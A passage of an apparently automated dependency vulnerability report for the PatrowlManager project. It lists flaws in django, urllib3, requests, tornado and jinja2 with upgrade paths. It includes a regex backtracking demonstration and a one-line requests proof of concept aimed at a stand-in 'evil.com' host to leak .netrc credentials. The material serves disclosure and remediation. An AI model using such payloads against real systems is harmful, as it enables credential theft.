  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the chars() and words() methods in the django.utils.text.Truncator function. An attacker can cause a denial of service by exploiting the inefficient regular expression complexity, which exhibits linear backtracking complexity and can be slow, given certain long and potentially malformed HTML inputs.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade django to version 3.2.22, 4.1.12, 4.2.6 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: setuptools
  • Introduced through: gunicorn@20.0.4

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce gunicorn@20.0.4 setuptools@40.5.0
    Remediation: Upgrade to gunicorn@20.1.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via crafted HTML package or custom PackageIndex page.

Note:

Only a small portion of the user base is impacted by this flaw. Setuptools maintainers pointed out that package_index is deprecated (not formally, but “in spirit”) and the vulnerability isn't reachable through standard, recommended workflows.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade setuptools to version 65.5.1 or higher.

References

medium severity

Information Exposure Through Sent Data

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.5, requests@2.25.1 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce urllib3@1.26.5
    Remediation: Upgrade to urllib3@1.26.17.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to coreapi@2.3.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce thehive4py@1.8.1 requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to thehive4py@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to openapi-codec@1.3.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Information Exposure Through Sent Data when the Cookie HTTP header is used. An attacker can leak information via HTTP redirects to a different origin by exploiting the fact that the Cookie HTTP header isn't stripped on cross-origin redirects.

Note:

This is only exploitable if the user is using the Cookie header on requests, not disabling HTTP redirects, and either not using HTTPS or for the origin server to redirect to a malicious origin.

##Workaround:

This vulnerability can be mitigated by disabling HTTP redirects using redirects=False when sending requests and by not using the Cookie header.

Remediation

Upgrade urllib3 to version 1.26.17, 2.0.6 or higher.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: requests
  • Introduced through: requests@2.25.1, coreapi@2.3.3 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce requests@2.25.1
    Remediation: Upgrade to requests@2.32.4.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreapi@2.3.3 requests@2.25.1
    Remediation: Upgrade to coreapi@2.3.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce thehive4py@1.8.1 requests@2.25.1
    Remediation: Upgrade to thehive4py@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1
    Remediation: Upgrade to openapi-codec@1.3.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 coreapi@2.3.3 requests@2.25.1
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/')

Remediation

Upgrade requests to version 2.32.4 or higher.

References

medium severity

Always-Incorrect Control Flow Implementation

  • Vulnerable module: requests
  • Introduced through: requests@2.25.1, coreapi@2.3.3 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce requests@2.25.1
    Remediation: Upgrade to requests@2.32.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreapi@2.3.3 requests@2.25.1
    Remediation: Upgrade to coreapi@2.3.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce thehive4py@1.8.1 requests@2.25.1
    Remediation: Upgrade to thehive4py@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1
    Remediation: Upgrade to openapi-codec@1.3.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 coreapi@2.3.3 requests@2.25.1
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

  1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

  2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

  3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: tornado
  • Introduced through: tornado@5.1 and flower@0.9.2

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce tornado@5.1
    Remediation: Upgrade to tornado@6.3.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce flower@0.9.2 tornado@5.1
    Remediation: Upgrade to flower@0.9.2.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to HTTP Request Smuggling due to improper parsing of the -, +, and _ characters in chunk length and Content-Length fields through the int constructor.

Note: Exploiting this vulnerability is possible if Tornado is deployed behind certain proxies that interpret non-standard characters differently, such as older versions of haproxy.

Remediation

Upgrade tornado to version 6.3.3 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: djangorestframework-simplejwt
  • Introduced through: djangorestframework-simplejwt@4.4.0

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0
    Remediation: Upgrade to djangorestframework-simplejwt@5.5.1.

Overview

djangorestframework-simplejwt is an A minimal JSON Web Token authentication plugin for Django REST Framework

Affected versions of this package are vulnerable to Information Exposure due to improper handling of sensitive information. An attacker can access web application resources even after their account has been disabled due to missing user validation checks via the for_user method.

Workaround

Ensure that before generating an access token for a user, there is a thorough verification process to determine whether the user is active or not. This validation step is essential in preventing unauthorized access and helps mitigate the vulnerability associated with the lack of user inactivity validation in the mentioned functionality. Implementing this check adds an extra layer of security to your application.

from django.contrib.auth.models import User
from rest_framework_simplejwt.tokens import AccessToken

user = User.objects.get(id=inactive_user_id)

if user and user.is_active: 
    token = AccessToken.for_user(user)

Remediation

Upgrade djangorestframework-simplejwt to version 5.5.1 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: jinja2
  • Introduced through: jinja2@2.11.3, coreschema@0.0.4 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jinja2@2.11.3
    Remediation: Upgrade to jinja2@3.1.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreschema@0.0.4 jinja2@2.11.3
    Remediation: Upgrade to coreschema@0.0.4.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreapi@2.3.3 coreschema@0.0.4 jinja2@2.11.3
    Remediation: Upgrade to coreapi@2.3.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce openapi-codec@1.3.2 coreapi@2.3.3 coreschema@0.0.4 jinja2@2.11.3
    Remediation: Upgrade to openapi-codec@1.3.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 coreapi@2.3.3 coreschema@0.0.4 jinja2@2.11.3
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 openapi-codec@1.3.2 coreapi@2.3.3 coreschema@0.0.4 jinja2@2.11.3

Overview

Jinja2 is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the xmlattr filter, when using keys containing spaces in an application accepts keys as user input. An attacker can inject arbitrary HTML attributes into the rendered HTML template, bypassing the auto-escaping mechanism, which may lead to the execution of untrusted scripts in the context of the user's browser session.

Note Accepting keys as user input is not common or a particularly intended use case of the xmlattr filter, and an application doing so should already be verifying what keys are provided regardless of this fix.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade Jinja2 to version 3.1.3 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: jinja2
  • Introduced through: jinja2@2.11.3, coreschema@0.0.4 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jinja2@2.11.3
    Remediation: Upgrade to jinja2@3.1.4.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreschema@0.0.4 jinja2@2.11.3
    Remediation: Upgrade to coreschema@0.0.4.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreapi@2.3.3 coreschema@0.0.4 jinja2@2.11.3
    Remediation: Upgrade to coreapi@2.3.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce openapi-codec@1.3.2 coreapi@2.3.3 coreschema@0.0.4 jinja2@2.11.3
    Remediation: Upgrade to openapi-codec@1.3.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 coreapi@2.3.3 coreschema@0.0.4 jinja2@2.11.3
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 openapi-codec@1.3.2 coreapi@2.3.3 coreschema@0.0.4 jinja2@2.11.3

Overview

Jinja2 is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) through the xmlattr filter. An attacker can manipulate the output of web pages by injecting additional attributes into elements, potentially leading to unauthorized actions or information disclosure.

Note: This vulnerability derives from an improper fix of CVE-2024-22195, which only addressed spaces but not other characters.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade Jinja2 to version 3.1.4 or higher.

References

medium severity

Improper Neutralization

  • Vulnerable module: jinja2
  • Introduced through: jinja2@2.11.3, coreschema@0.0.4 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jinja2@2.11.3
    Remediation: Upgrade to jinja2@3.1.5.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreschema@0.0.4 jinja2@2.11.3
    Remediation: Upgrade to coreschema@0.0.4.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreapi@2.3.3 coreschema@0.0.4 jinja2@2.11.3
    Remediation: Upgrade to coreapi@2.3.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce openapi-codec@1.3.2 coreapi@2.3.3 coreschema@0.0.4 jinja2@2.11.3
    Remediation: Upgrade to openapi-codec@1.3.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 coreapi@2.3.3 coreschema@0.0.4 jinja2@2.11.3
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 openapi-codec@1.3.2 coreapi@2.3.3 coreschema@0.0.4 jinja2@2.11.3

Overview

Affected versions of this package are vulnerable to Improper Neutralization when importing a macro in a template whose filename is also a template. This will result in a SyntaxError: f-string: invalid syntax error message because the filename is not properly escaped, indicating that it is being treated as a format string.

Note: This is only exploitable when the attacker controls both the content and filename of a template and the application executes untrusted templates.

Remediation

Upgrade jinja2 to version 3.1.5 or higher.

References

medium severity

Template Injection

  • Vulnerable module: jinja2
  • Introduced through: jinja2@2.11.3, coreschema@0.0.4 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jinja2@2.11.3
    Remediation: Upgrade to jinja2@3.1.5.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreschema@0.0.4 jinja2@2.11.3
    Remediation: Upgrade to coreschema@0.0.4.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreapi@2.3.3 coreschema@0.0.4 jinja2@2.11.3
    Remediation: Upgrade to coreapi@2.3.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce openapi-codec@1.3.2 coreapi@2.3.3 coreschema@0.0.4 jinja2@2.11.3
    Remediation: Upgrade to openapi-codec@1.3.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 coreapi@2.3.3 coreschema@0.0.4 jinja2@2.11.3
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 openapi-codec@1.3.2 coreapi@2.3.3 coreschema@0.0.4 jinja2@2.11.3

Overview

Affected versions of this package are vulnerable to Template Injection when an attacker controls the content of a template. This is due to an oversight in the sandboxed environment's method detection when using a stored reference to a malicious string's format method, which can then be executed through a filter.

Note: This is only exploitable through custom filters in an application.

Remediation

Upgrade jinja2 to version 3.1.5 or higher.

References

medium severity

Template Injection

  • Vulnerable module: jinja2
  • Introduced through: jinja2@2.11.3, coreschema@0.0.4 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jinja2@2.11.3
    Remediation: Upgrade to jinja2@3.1.6.
